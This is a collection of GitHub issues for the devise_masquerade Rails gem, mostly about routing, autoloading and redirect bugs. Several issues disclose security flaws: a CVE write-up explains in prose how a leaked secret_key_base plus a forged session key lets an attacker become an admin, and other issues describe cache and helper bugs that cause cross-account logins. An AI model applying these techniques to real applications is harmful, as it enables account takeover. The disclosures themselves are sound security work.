Are there additional steps after adding the controller (following the steps in readme.md)? I have done exactly that and they are not even called. I am using 2.1.0. ``` class Admin::MasqueradesController < Devise::MasqueradesController protected def after_masquerade_path_for(resource) "/companies/#{current_user.id}" end def after_back_masquerade_path_for(resource) "/admin/userss" end end ``` Thank you.
additional steps for custom routes after and after_back
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/128/comments
2
2023-03-06T03:08:36Z
2023-03-08T02:38:54Z
https://github.com/oivoodoo/devise_masquerade/issues/128
1,610,573,465
128
[ "oivoodoo", "devise_masquerade" ]
Hello. I'm trying to log when an Admin is logging in and out as a User. My approach was to use rails callbacks in `show` and `back` actions in the masquerades controller, but when admin masquerades for few seconds, there are no logs, what you guys think is the best approach for it?
Proper way to log masquerade "login" and "logout"
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/127/comments
1
2023-02-14T19:38:08Z
2023-02-16T11:21:40Z
https://github.com/oivoodoo/devise_masquerade/issues/127
1,584,721,297
127
[ "oivoodoo", "devise_masquerade" ]
This line is causing issues with my app: https://github.com/oivoodoo/devise_masquerade/blob/master/lib/devise_masquerade/controllers/helpers.rb#L59. The problem is when an admin is already masquerading as a user and this method gets called. Specifically, when an admin masquerades as one user and then while still masqing as the first user, clicks a button to masq as a second user. The `resource_id` will be an id of a "resource_class" that is different from `masqueraded_resource_class` so this fails with an "unable to find X with resource_id" type error. It seems to me that the usage of `masqueraded_resource_class` isn't quite right here. I'm not sure what the right method would be? This behavior was introduced by a fix for this issue: https://github.com/oivoodoo/devise_masquerade/issues/116. Please let me know if there is something I'm missing/misunderstanding.
#{name}_masquerade_owner issue when already masquerading
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/126/comments
8
2023-01-30T22:34:15Z
2024-08-09T18:51:21Z
https://github.com/oivoodoo/devise_masquerade/issues/126
1,563,317,208
126
[ "oivoodoo", "devise_masquerade" ]
This gem uses `to_param` as an identifier for the resource. https://github.com/oivoodoo/devise_masquerade/blob/f0fe505ff73de7afdcef5f5a2de063e9550668b8/app/controllers/devise/masquerades_controller.rb#L151 But then uses the `id` to retrieve the resource: https://github.com/oivoodoo/devise_masquerade/blob/f0fe505ff73de7afdcef5f5a2de063e9550668b8/app/controllers/devise/masquerades_controller.rb#L83 This breaks any implementation where a resource's `to_param` does not equal its `id`. For example: ```ruby class User def to_param username end end ``` To fix this, I suggest either: A) replacing the `.to_param` call with a simple `.id`, or B) allowing for easy overriding of `masquerading_resource_class.find(resource_id)` (e.g. by extracting it into a helper method).
Incompatibility with custom to_param (FriendlyID, etc)
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/120/comments
7
2022-12-05T08:48:33Z
2022-12-18T07:51:46Z
https://github.com/oivoodoo/devise_masquerade/issues/120
1,476,035,340
120
[ "oivoodoo", "devise_masquerade" ]
Stumbled across this behaviour when passing an applicaiton from development to production. Given the server woudl not start because of it, the server was reverted to serving in ddevelopment mode and the error is not blocking service. Still ``` bin/rails zeitwerk:check [...] home/deploy/.rbenv/versions/2.6.1/lib/ruby/2.6.0/bundler/current_ruby.rb:26: warning: previous definition of KNOWN_PLATFORMS was here Hold on, I am eager loading the application. expected file app/controllers/masquerades_controller.rb to define constant MasqueradesController ``` which is exactly the same error explanation lgged into nginx logs when trying to start up in production. The controller's full content: ``` # :nocov: class Admin::MasqueradesController < Devise::MasqueradesController protected def masquerade_authorize! authorize(User, :masquerade?) unless params[:action] == 'back' end end # :nocov: ``` What could be the source of this problem?
zeitwerk expects a different constant.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/119/comments
1
2022-11-13T19:02:23Z
2022-11-15T07:44:31Z
https://github.com/oivoodoo/devise_masquerade/issues/119
1,447,043,035
119
[ "oivoodoo", "devise_masquerade" ]
In versions < 2, this works perfectly: back_masquerade_path(current_user) In version 2 or greater, I get: Couldn't find User with 'id'=admin-user <img width="870" alt="Screenshot 2022-10-30 at 8 17 21 PM" src="https://user-images.githubusercontent.com/8509501/198912699-4e215aba-5840-4905-bbef-05759a180762.png">
back_masquerade_path(current_user) broken in newer versions
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/117/comments
7
2022-10-31T01:18:38Z
2022-11-18T16:22:36Z
https://github.com/oivoodoo/devise_masquerade/issues/117
1,429,108,809
117
[ "oivoodoo", "devise_masquerade" ]
Looks like `#{name}_masquerade_owner` is broken. It always tries to find a resource by GlobalID: https://github.com/oivoodoo/devise_masquerade/blob/master/lib/devise_masquerade/controllers/helpers.rb#L53-L63 However, when the owner resource ID is being written, it is GlobalID only when using cache, when using session it is plain `to_param`: https://github.com/oivoodoo/devise_masquerade/blob/master/app/controllers/devise/masquerades_controller.rb#L168-L175 Or maybe I'm missing something?
#{name}_masquerade_owner is broken
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/116/comments
5
2022-10-24T13:44:05Z
2022-10-25T15:10:08Z
https://github.com/oivoodoo/devise_masquerade/issues/116
1,420,857,434
116
[ "oivoodoo", "devise_masquerade" ]
Hi, is there any way to get the details from the originating user? I want to display "Switch back to <username>" in the navigation. Thx and greetings Holger
Print originating user name
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/112/comments
1
2022-09-11T18:25:53Z
2023-01-05T19:29:58Z
https://github.com/oivoodoo/devise_masquerade/issues/112
1,369,026,187
112
[ "oivoodoo", "devise_masquerade" ]
Hi there, looks like tags for v1.3.10, 1.3.11 and 1.3.12 haven't been added? Also `version.rb` says `1.3.11` even though the latest version on rubygems is v1.3.12. Makes it a bit confusing trying to track down bugs in my code!! Thanks.
Missing version tags
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/111/comments
2
2022-08-26T04:17:57Z
2022-11-07T00:07:24Z
https://github.com/oivoodoo/devise_masquerade/issues/111
1,351,723,591
111
[ "oivoodoo", "devise_masquerade" ]
Basic app, I have checked older versions and it doesn't happen (1.13.11 vs 0.40 and 1.2)
Current version of user_masquerade? returns always false
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/105/comments
16
2022-05-14T23:21:11Z
2022-11-05T13:07:37Z
https://github.com/oivoodoo/devise_masquerade/issues/105
1,236,141,166
105
[ "oivoodoo", "devise_masquerade" ]
Hi, I've encountered several issues with the new updates done to this gem. Could someone explain to me how the new routes are generated? I.e. `masquerade_path` & the back route. Also, why are these routes now not showing within the `rails routes` command? I'm working on an app which uses InertiaJs and now, I have to pass the masquerade_path via the serializer instead of relying on the Inertia `$routes.account_masquerade_path`. ```ruby controllers/devise/masquerades_controller.rb:20 - redirect_to(new_user_session_path) and return + redirect_to(send("new_#{masqueraded_resource_name}_session_path")) and return ``` <img width="1085" alt="CleanShot 2022-03-31 at 11 22 53@2x" src="https://user-images.githubusercontent.com/32838548/161034280-bf21dc2a-eae7-443a-a1fa-fed3701859ff.png">
Upgrade Problems
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/103/comments
4
2022-03-31T10:25:23Z
2022-04-21T00:47:13Z
https://github.com/oivoodoo/devise_masquerade/issues/103
1,187,864,361
103
[ "oivoodoo", "devise_masquerade" ]
So when I masquerade one user. and it has time duration for being masquerade. when time duration ends, it didnt go back to the original owner like the behaviour of reverse masquerade when you click it manually. is auto reverse masquerade after time duration ends feature already included on the gem? or need to do some engineering to make that happen? thanks in advance. much appreciated if answer this quickly.
When expiration ends, it does not return to the original owner.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/102/comments
2
2022-03-07T06:43:30Z
2022-03-16T19:58:14Z
https://github.com/oivoodoo/devise_masquerade/issues/102
1,160,974,453
102
[ "oivoodoo", "devise_masquerade" ]
Hey, Thanks for maintaining this gem! I've encountered a small bug in the controller line 25 ``` redirect_to(new_user_session_path) and return ``` Assumes the new_user_session_path exists but if using custom models e.g. an Admin logging in then this redirect breaks as the devise default route is in fact new_admin_session_path not new_user_session_path.
Redirect When No Resource
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/100/comments
1
2022-02-15T16:04:28Z
2022-03-22T09:41:35Z
https://github.com/oivoodoo/devise_masquerade/issues/100
1,138,894,323
100
[ "oivoodoo", "devise_masquerade" ]
Currently the [README](https://github.com/oivoodoo/devise_masquerade/blob/v1.3.9/README.md) suggests adding the following configuration, presumably to the bottom of the Devise initializer: ```ruby Devise.masquerade_param = 'masquerade' Devise.masquerade_expires_in = 10.seconds Devise.masquerade_key_size = 16 # size of the generate by SecureRandom.urlsafe_base64 Devise.masquerade_bypass_warden_callback = false Devise.masquerade_routes_back = false # if true, route back to the page the user was on via redirect_back Devise.masquerading_resource_class = AdminUser # optional, default: masquerading_resource_class.model_name.param_key Devise.masquerading_resource_name = :admin_user Devise.masqueraded_resource_class = User # optional, default: masqueraded_resource_class.model_name.param_key Devise.masqueraded_resource_name = :user ``` However, specifying these two lines: ```ruby Devise.masquerading_resource_class = AdminUser Devise.masqueraded_resource_class = User ``` ...will result in the following deprecation warning being thrown when the app loads: ```bash DEPRECATION WARNING: Initialization autoloaded the constants AdminUser and User. Being able to do this is deprecated. Autoloading during initialization is going to be an error condition in future versions of Rails. Reloading does not reboot the application, and therefore code executed during initialization does not run again. So, if you reload User, for example, the expected changes won't be reflected in that stale Class object. These autoloaded constants have been unloaded. In order to autoload safely at boot time, please wrap your code in a reloader callback this way: Rails.application.reloader.to_prepare do # Autoload classes and modules needed at boot time here. end That block runs when the application boots, and every time there is a reload. For historical reasons, it may run twice, so it has to be idempotent. Check the "Autoloading and Reloading Constants" guide to learn more about how Rails autoloads and reloads. ``` This will prevent the app from loading completely in Rails v7.0. To fix it, I suppose one could require the reference to those models at the top of the initializer, but I'm wondering if it would be better to specify those configuration settings as strings (while appending `_name` to the end, for clarity): ```ruby Devise.masquerading_resource_class_name = 'AdminUser' Devise.masqueraded_resource_class_name = 'User' ``` And then call `masquerading_resource_class.classify.constantize` where they are used elsewhere in the library? Logistically, however, I'm not sure if that would be possible. But anyways, thoughts? Separately, would you be interested in a pull request to set up an installation generator that would append the configuration (mentioned above) to the bottom of the Devise initializer by running something like `rails generate devise_masquerade:install` after installing the gem? Other Devise gems (such as [devise_invitable](https://github.com/scambra/devise_invitable)) provide for such a thing.
Handling the "Initialization autoloaded the constants" deprecation warning
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/99/comments
6
2021-12-31T19:16:56Z
2022-03-31T17:47:04Z
https://github.com/oivoodoo/devise_masquerade/issues/99
1,091,652,781
99
[ "oivoodoo", "devise_masquerade" ]
@oivoodoo I'm using version of this gem is 1.3.9. I've two devise installed on my project; Admin and User. So I mentioned `:masqueradable` in `User.rb` (and if I mentioned on both models Admin.rb and User.rb but same issue). And also mentioned these lines in `devise.rb`: `config.masquerade_param = 'masquerade'` `config.masquerade_expires_in = 1.hour` `config.masquerade_key_size = 16 ` `config.masquerade_bypass_warden_callback = false` `config.masquerading_resource_class = AdminUser` `config.masquerading_resource_name = :admin_user` `config.masqueraded_resource_class = User` `config.masqueraded_resource_name = :user` Even if I removed these lines or just type these 4 lines (`config.masquerading_resource_class = AdminUser`, `config.masquerading_resource_name = :admin_user`, `config.masqueraded_resource_class = User`, `config.masqueraded_resource_name = :user`), same error occurred. One more thing so I found some solution that create a controller for masquerade same as on doc of this gem on github, and mentioned routes on `routes` file, same error occurred. I already read [closed issue](https://github.com/oivoodoo/devise_masquerade/issues/58), but same error occurred, so let me know please what should I do? One more thing is that I also run this (`rails dev:cache`) for enabling because my user_masquerade? is always show false. If I checked on my routes it show me like this: `user_masquerade_index` for devise/masquerades#show and `admin_user_masquerade_index` for admin_users/masquerades#show
Always showing a message that "already signed".
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/98/comments
4
2021-11-04T17:34:34Z
2021-12-17T20:03:12Z
https://github.com/oivoodoo/devise_masquerade/issues/98
1,045,022,735
98
[ "oivoodoo", "devise_masquerade" ]
I've an issue when I used this gem. I used in gem file gem `'devise_masquerade', '~> 0.2.0'` and same issued with `gem 'devise_masquerade'`. So what should I do? I didn't create any method like this but I don't know where is this and my trace error is: `devise_masquerade (0.2.0) app/controllers/devise/masquerades_controller.rb:2:in <class:MasqueradesController>'`
Undefined method 'prepend_before_filter' for Devise::MasqueradesController:Class Did you mean? prepend_before_action
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/97/comments
4
2021-11-01T12:52:48Z
2021-12-17T20:03:26Z
https://github.com/oivoodoo/devise_masquerade/issues/97
1,041,138,960
97
[ "oivoodoo", "devise_masquerade" ]
Let's say Admin A and Admin B are both masquerading as User C from their own machines. A does it first (and https://github.com/oivoodoo/devise_masquerade/blob/931a5194fa15d7553ee5f94f6162c0589e3ce530/app/controllers/devise/masquerades_controller.rb#L75 stores A in the cache) then B does it (and it overwrites the cache with B). Then A logs out on his machine and suddenly he's logged in as B (which potentially via Pundit or something has different authorisations that he shouldn't have) I think using the Rails cache isn't the best idea for this, but maybe storing something in the Rails session?
Security issue: Two users masquerading to the same user can be logged in as the other person
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/94/comments
5
2021-08-26T08:59:30Z
2022-05-12T16:20:17Z
https://github.com/oivoodoo/devise_masquerade/issues/94
980,004,731
94
[ "oivoodoo", "devise_masquerade" ]
As a follow-up to https://github.com/oivoodoo/devise_masquerade/issues/92 there are several recent PATCH releases that may have changed the 'public' interface and therefore do not adhere to the correct SEMVER - https://semver.org/. An example is extending the controller and adding to the resource session https://github.com/oivoodoo/devise_masquerade/blob/v1.3.3/app/controllers/devise/masquerades_controller.rb#L17.
Breaking changes in newer version/s
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/93/comments
2
2021-08-17T03:23:48Z
2022-11-06T21:58:44Z
https://github.com/oivoodoo/devise_masquerade/issues/93
972,264,876
93
[ "oivoodoo", "devise_masquerade" ]
👋 - first of all, thank you for dedicating your time to maintaining this library - it's appreciated! We're upgrading from an older version of this library and realised that recent releases are missing corresponding tags? Would you mind explaining why that is? https://rubygems.org/gems/devise_masquerade/versions has 1.3.4-1.3.8. https://github.com/oivoodoo/devise_masquerade/releases only has < 1.3.4 It makes it difficult to track changes, either manually or via dependabot. Thanks!
Missing tags for recent releases
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/92/comments
2
2021-08-17T03:14:24Z
2021-09-12T02:30:03Z
https://github.com/oivoodoo/devise_masquerade/issues/92
972,261,314
92
[ "oivoodoo", "devise_masquerade" ]
We have created `users/masquerades_controller.rb` file ```ruby class Users::MasqueradesController < Devise::MasqueradesController protected def after_masquerade_path_for(resource) "/account" end def after_back_masquerade_path_for(resource) "/account" end end ``` But it goes to `/` instead of `/account` page after masquerade. Also same after finishing masquerade. Both admin users and users are using the same table - `users` Just checking if the user is admin by `user.is_admin = true` Not sure this is related.
Custom url redirect not working.
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/91/comments
6
2021-08-05T00:24:09Z
2021-12-17T20:03:38Z
https://github.com/oivoodoo/devise_masquerade/issues/91
961,261,419
91
[ "oivoodoo", "devise_masquerade" ]
This is a security vulnerability that has been subject to a 90-day disclosure deadline and has been fixed in the v1.3.1 release of `devise_masquerade`. I'm creating this issue for traceability inside the GitHub project and to be able to refer to it from the CVE. Ideally a security advisory should be created. If the `secret_key_base` variable is somehow leaked, an attacker can become any user by misusing the "masquerade back" functionality of this Devise extension, something that is not possible in plain Devise since the attacker must know the victim's password salt to form a valid session cookie to encrypt and sign using `secret_key_base`. From the description of [CVE-2021-28680](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28680): > The devise_masquerade gem before 1.3 allows certain attacks when a password's salt is unknown. > An application that uses this gem > to let administrators masquerade/impersonate users loses > one layer of security protection compared to a situation where Devise (without this > extension) is used. If the server-side secret_key_base value > became publicly known (for instance if it is committed to a public > repository by mistake), there are still other protections in > place that prevent an attacker from impersonating any user on the > site. When masquerading is not used in a plain Devise application, one > must know the password salt of the target user if one wants to encrypt > and sign a valid session cookie. When devise_masquerade is used, > however, an attacker can decide which user the "back" action will go > back to without knowing that user's password salt and simply knowing > the user ID, by manipulating the session cookie and pretending that a > user is already masqueraded by an administrator. By adding and setting the dictionary key `devise_masquerade_user` to the user ID of the admin victim in the session cookie JSON/Marshal object, an attacker can fake that an impersonation has occurred and then use the "masquerade back" functionality to become the victim.
CVE-2021-28680: One layer of security is lost when using devise_masquerade under certain circumstances in versions before 1.3
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/83/comments
2
2021-03-23T20:08:25Z
2021-03-23T20:55:08Z
https://github.com/oivoodoo/devise_masquerade/issues/83
839,079,617
83
[ "oivoodoo", "devise_masquerade" ]
I had a case in production where a user was logged as an other (admin) account. After investigation in version 1.3.2, the helper `user_masquerade?` returns true for ALL logged users when masquerade is used That means : ``` if user_masquerade? = link_to "Reverse masquerade", back_masquerade_path(current_user) ``` shows back link for ALL logged users The most funny part ? If any user clicks this link he become logged as the user who used masquerade (in our case an admin user..)
user_masquerade? not working as expected (and it goes terribly wrong)
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/82/comments
33
2021-02-23T11:25:27Z
2022-05-18T06:33:21Z
https://github.com/oivoodoo/devise_masquerade/issues/82
814,373,271
82
[ "oivoodoo", "devise_masquerade" ]
In version 1.3.0 this works fine: masqueraded_resource_class.friendly.find(params[:id]) Starting in 1.3.1 though, I get: ActiveRecord::RecordNotFound - Couldn't find User without an ID: app/controllers/masquerades_controller.rb:6:in `find_resource'
Friendly ID
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/80/comments
2
2021-02-11T15:22:10Z
2021-02-15T09:53:30Z
https://github.com/oivoodoo/devise_masquerade/issues/80
806,491,313
80
[ "oivoodoo", "devise_masquerade" ]
Review LICENSE
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/77/comments
0
2021-02-03T12:49:05Z
2021-02-03T12:49:18Z
https://github.com/oivoodoo/devise_masquerade/issues/77
800,298,320
77
[ "oivoodoo", "devise_masquerade" ]
On localhost, using the administrate gem, searching for a user, then calling up the show view and invoking the masquerading function, the application returns and routes to the root_path: ``` Started GET "/users/masquerade/16203?masquerade=syxdpH2UZaHvrzsmpJxBZA&masqueraded_resource_class=User" for ::1 at 2021-01-29 09:21:48 +0100 Processing by Devise::MasqueradesController#show as HTML Parameters: {"masquerade"=>"syxdpH2UZaHvrzsmpJxBZA", "masqueraded_resource_class"=>"User", "id"=>"16203"} User Load (0.6ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2 [["id", 2], ["LIMIT", 1]] Roleshopuser Load (0.7ms) SELECT "roleshopusers".* FROM "roleshopusers" WHERE "roleshopusers"."user_id" = $1 [["user_id", 2]] ↳ app/controllers/application_controller.rb:268:in `multiple_roles' User Load (0.6ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 AND "users"."id" = $2 ORDER BY "users"."id" ASC LIMIT $3 [["id", 16203], ["id", 16203], ["LIMIT", 1]] Redirected to http://localhost:3000/ Completed 302 Found in 14ms (ActiveRecord: 1.8ms | Allocations: 5109) Started GET "/" for ::1 at 2021-01-29 09:21:48 +0100 Processing by WelcomeController#home as HTML ``` and the view shown clearly indicates that one is masquerading: ![Screen Shot 2021-01-29 at 9 28 04](https://user-images.githubusercontent.com/716130/106250757-5cc1ba00-6214-11eb-9d51-c48ac4a7409f.png) However, deploying to a VPS, going through the same steps, there is first a redirection to `Redirected to https://[domain]/users/sign_in` before getting the root_path. ``` Started GET "/users/masquerade/16203?masquerade=oyQZ7gRANUK4uNkB_cSB-A&masqueraded_resource_class=User" for 5.[...]52 at 2021-01-29 08:32:07 +0000 Cannot render console from 5.[...]52! Allowed networks: 127.0.0.0/127.255.255.255, ::1 Processing by Devise::MasqueradesController#show as HTML Parameters: {"masquerade"=>"oyQZ7gRANUK4uNkB_cSB-A", "masqueraded_resource_class"=>"User", "id"=>"16203"} ^[[1m^[[36mUser Load (0.4ms)^[[0m ^[[1m^[[34mSELECT "users".* FROM "users" WHERE "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2^[[0m [["id", 2], ["LIMIT", 1]] ^[[1m^[[36mRoleshopuser Load (0.6ms)^[[0m ^[[1m^[[34mSELECT "roleshopusers".* FROM "roleshopusers" WHERE "roleshopusers"."user_id" = $1^[[0m [["user_id", 2]] ↳ app/controllers/application_controller.rb:268:in `multiple_roles' ^[[1m^[[36mUser Load (0.5ms)^[[0m ^[[1m^[[34mSELECT "users".* FROM "users" WHERE "users"."id" IS NULL AND "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2^[[0m [["id", 16203], ["LIMIT", 1]] Redirected to https://[domain]/users/sign_in Completed 302 Found in 11ms (ActiveRecord: 1.5ms | Allocations: 4800) Started GET "/users/sign_in" for 5.[...]52 at 2021-01-29 08:32:07 +0000 Cannot render console from 5.[...]52! Allowed networks: 127.0.0.0/127.255.255.255, ::1 Processing by Devise::SessionsController#new as HTML ^[[1m^[[36mUser Load (0.4ms)^[[0m ^[[1m^[[34mSELECT "users".* FROM "users" WHERE "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2^[[0m [["id", 2], ["LIMIT", 1]] Redirected to https://[domain]/ Filter chain halted as :require_no_authentication rendered or redirected Completed 302 Found in 5ms (ActiveRecord: 0.4ms | Allocations: 1922) Started GET "/" for 5.[...]52 at 2021-01-29 08:32:07 +0000 Cannot render console from 5.[...]52! Allowed networks: 127.0.0.0/127.255.255.255, ::1 Processing by WelcomeController#home as HTML ``` Being already signed-in, the user is being re-set by devise and the masquerading is that of the admin user (id: 2), not the expected (id: 16203). This was functioning as per gem design until recently. I attempted to trace back, but no changes were brought to initial set-up Gemfile.lock ``` devise_masquerade (1.2.0) devise (>= 4.7.0) railties (>= 5.2.0) ``` controllers/admin/application_controller.rb ``` module Admin class ApplicationController < Administrate::ApplicationController before_action :authenticate_admin def authenticate_admin if user_signed_in? && current_user.admin? respond_to do |format| format.html end else redirect_to root_path end end ``` controllers/application_controller.rb ``` class ApplicationController < ActionController::Base before_action :configure_permitted_parameters, if: :devise_controller? before_action :multiple_roles before_action :masquerade_user! ``` controllers/masquerades_controller.rb ``` class Admin::MasqueradesController < Devise::MasqueradesController protected def masquerade_authorize! authorize(User, :masquerade?) unless params[:action] == 'back' end end ``` a) is there a way to avoid devise sign-in routing kicking in? b) how can the same code base be different between localhost and a VPS/url-driven request?
masquerade works on localhost but not on VPS (development mode)
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/74/comments
2
2021-01-29T09:02:25Z
2021-01-30T17:00:45Z
https://github.com/oivoodoo/devise_masquerade/issues/74
796,705,537
74
[ "oivoodoo", "devise_masquerade" ]
If we pass any additional argument to masquerade_path it will create bad URL ``` masquerade_path(user, test: 1) ``` ``` /users/masquerade/1.masquerade=CAhfsUnYawRLvUb3QxXYGQ&masqueraded_resource_class=User&test=1?masquerade=CAhfsUnYawRLvUb3QxXYGQ&masqueraded_resource_class=User&test=1 ``` This is because in url_helpers.rb#masquerade_path we pass options twice url helper ``` send("#{scope}_masquerade_path", resource, opts, *args) ``` opts are correctly exteracted but we pass them again in *args.
Passing any additional arguments to masquerade_path create bad urls
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/73/comments
1
2021-01-16T22:53:57Z
2021-02-05T21:00:51Z
https://github.com/oivoodoo/devise_masquerade/issues/73
787,569,459
73
[ "oivoodoo", "devise_masquerade" ]
I have seen similar issues to what I am experiencing but the suggested solutions don't seem to be working. I have a Rails app with 2 devise models. Admin and User I also use CanCan for authorization. The app is set up to use authenticated routes and also authenticate users before accessing routes (instead of using a before_action in a controller to check whether the user is signed in or not) So the routes for devise are ```ruby devise_for :admins, path: 'admins', controllers: {sessions: "admins/sessions", registrations: "admins/registrations"} devise_for :users, path: 'users', controllers: {sessions: "users/sessions", registrations: "users/registrations", masquerades: "admins/masquerades"} ``` And then the authenticated routes are ```ruby authenticated :user do root to: 'public#userpage', as: "authenticated_user" end authenticated :admin do root to: 'public#adminpage', as: "authenticated_admin" end ``` This just shows a different root (default) page once an Admin or User is signed in. If no one is signed in, it`s a different root page with the login screen etc Then the regular routes are set up like the following to ensure the user or admin be authenticated before accessing those routes ```ruby authenticate :user do resources :users resources :franchises, only: [:edit, :update] resources :accountants, only: [:show] resources :bank_accounts resources :credit_cards end authenticate :admin do namespace :admins do resources :users resources :admins resources :franchises resources :accountants end end ``` I have added masquerade to my Gemfile and added masqueradable to the User model. I also added the following code to the devise.rb in the initializers folder ```ruby config.masquerading_resource_class = Admin config.masqueraded_resource_class = User ``` In my AdminAbility file for CanCan, I added ```ruby can :masquerade, User ``` Then I created a view on the Admin side of the application that lists the users with a link using the following code, where u is the user object ```ruby <%= link_to "Login As", masquerade_path(u),class: "btn btn-sm"%> ``` When I click the link, it just goes back to the root of the application, and thus, shows me the root page of the user I was already signed in as (The Admin user). If I add the following to the application.html.erb ```ruby <% if user_masquerade? %> <div class="alert-warning text-center" style="margin-bottom: 0px"> You're logged in as Someone Else. </div> <% end %> ``` The message appears after I click the link, but I still get the admin root page and not the user root page. If I try to access current_user in that div above, I get the undefined method for nil:NilClass error, suggesting that current_user is not initiated. When I check the application log, I noticed the following (There are a few debug messages that I put in there to make sure the classes and names were correct) ``` I, [2021-01-04T15:55:44.055460 #3265] INFO -- : Started GET "/users/masquerade/1?masquerade=hDTkCJBzjkqTxY7uXow7Zw&masqueraded_resource_class=User" for 192.168.5.116 at 2021-01-04 15:55:44 -0500 I, [2021-01-04T15:55:44.060674 #3265] INFO -- : Processing by Admins::MasqueradesController#show as HTML I, [2021-01-04T15:55:44.061207 #3265] INFO -- : Parameters: {"masquerade"=>"hDTkCJBzjkqTxY7uXow7Zw", "masqueraded_resource_class"=>"User", "id"=>"1"} D, [2021-01-04T15:55:44.063518 #3265] DEBUG -- : Admin Load (0.6ms) SELECT "admins".* FROM "admins" WHERE "admins"."id" = $1 ORDER BY "admins"."id" ASC LIMIT $2 [["id", 1], ["LIMIT", 1]] D, [2021-01-04T15:55:44.064760 #3265] DEBUG -- : ↳ app/controllers/application_controller.rb:10:in `current_ability' D, [2021-01-04T15:55:44.069625 #3265] DEBUG -- : User Load (1.4ms) SELECT "users".* FROM "users" WHERE "users"."id" IS NULL AND "users"."id" = $1 ORDER BY "users"."id" ASC LIMIT $2 [["id", 1], ["LIMIT", 1]] D, [2021-01-04T15:55:44.070722 #3265] DEBUG -- : ↳ app/controllers/admins/masquerades_controller.rb:3:in `show' I, [2021-01-04T15:55:44.072528 #3265] INFO -- : Redirected to http://192.168.5.112/users/sign_in D, [2021-01-04T15:55:44.073742 #3265] DEBUG -- : Masqueraded Resource Class : User D, [2021-01-04T15:55:44.074230 #3265] DEBUG -- : Masquerading Resource Class : Admin D, [2021-01-04T15:55:44.075315 #3265] DEBUG -- : Masquerading Resource Name : admin D, [2021-01-04T15:55:44.076344 #3265] DEBUG -- : Masquerading Resource Name : user I, [2021-01-04T15:55:44.076942 #3265] INFO -- : Completed 302 Found in 15ms (ActiveRecord: 2.0ms | Allocations: 11907) I, [2021-01-04T15:55:44.091028 #3265] INFO -- : Started GET "/users/sign_in" for 192.168.5.116 at 2021-01-04 15:55:44 -0500 I, [2021-01-04T15:55:44.096534 #3265] INFO -- : Processing by Users::SessionsController#new as HTML D, [2021-01-04T15:55:44.100094 #3265] DEBUG -- : Admin Load (1.0ms) SELECT "admins".* FROM "admins" WHERE "admins"."id" = $1 ORDER BY "admins"."id" ASC LIMIT $2 [["id", 1], ["LIMIT", 1]] D, [2021-01-04T15:55:44.101238 #3265] DEBUG -- : ↳ app/controllers/application_controller.rb:44:in `prepare_exception_notifier' I, [2021-01-04T15:55:44.103335 #3265] INFO -- : Redirected to http://192.168.5.112/ I, [2021-01-04T15:55:44.104375 #3265] INFO -- : Filter chain halted as :check_user rendered or redirected I, [2021-01-04T15:55:44.104912 #3265] INFO -- : Completed 302 Found in 7ms (ActiveRecord: 1.0ms | Allocations: 5153) ``` So from the looks of it, It tries to access the users/sign_in page in order to sign in as the chosen user but that doesn't seem to be happening and it looks like it's just reloading the Admin user (based on the SQL showing up). Not sure if it's related to the authenticated routes. If so, is there a way to set that up to work? If not, what else can I try to get this to behave the way it is intended? Let me know what I can debug/trace/provide in order to find out what's going on. Thank you
Masquerade with Admin and User models and authenticated routes
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/72/comments
9
2021-01-04T21:03:33Z
2022-07-09T15:25:06Z
https://github.com/oivoodoo/devise_masquerade/issues/72
778,364,197
72
[ "oivoodoo", "devise_masquerade" ]
Hello 😄 Having an odd experience here - I've created a link to login as another user from ActiveAdmin, and it works, but only if someone has logged in as a `User` prior. I've set the following config in `config/initializers/devise.rb`: ``` config.masquerade_bypass_warden_callback = true config.masquerading_resource_class = User config.masquerading_resource_name = :user config.masqueraded_resource_class = AdminUser config.masqueraded_resource_name = :admin_user ``` If I log into the admin (`AdminUser` model), but don't log into a user account (`User` model), I'm required to log as a user before I can masquerade. Otherwise I'm prompted with devise's `User` login form. In a situation where a support person is using the admin (`AdminUser`), but may not have an account as a `User` (signup is behind a paywall, in our case) this impedes us. Am I missing something in the configuration, or is this intended behaviour? Thank you in advance 😄 😄
Masquerade requires login prior
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/71/comments
4
2020-07-23T09:29:47Z
2020-07-23T10:23:55Z
https://github.com/oivoodoo/devise_masquerade/issues/71
664,328,104
71
[ "oivoodoo", "devise_masquerade" ]
The example in the README for using CanCan suggests the following: ```ruby def masquerade_authorize! authorize!(:masquerade, User) end ``` However, the `masquerade_authorize!` method is also called before the `back` action. In that case, however, the current user is the unprivileged user, so reverting the masquerade is denied.
CanCan example in README causes back action to not be authorized
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/69/comments
1
2020-05-20T09:08:25Z
2020-05-20T09:16:47Z
https://github.com/oivoodoo/devise_masquerade/issues/69
621,594,386
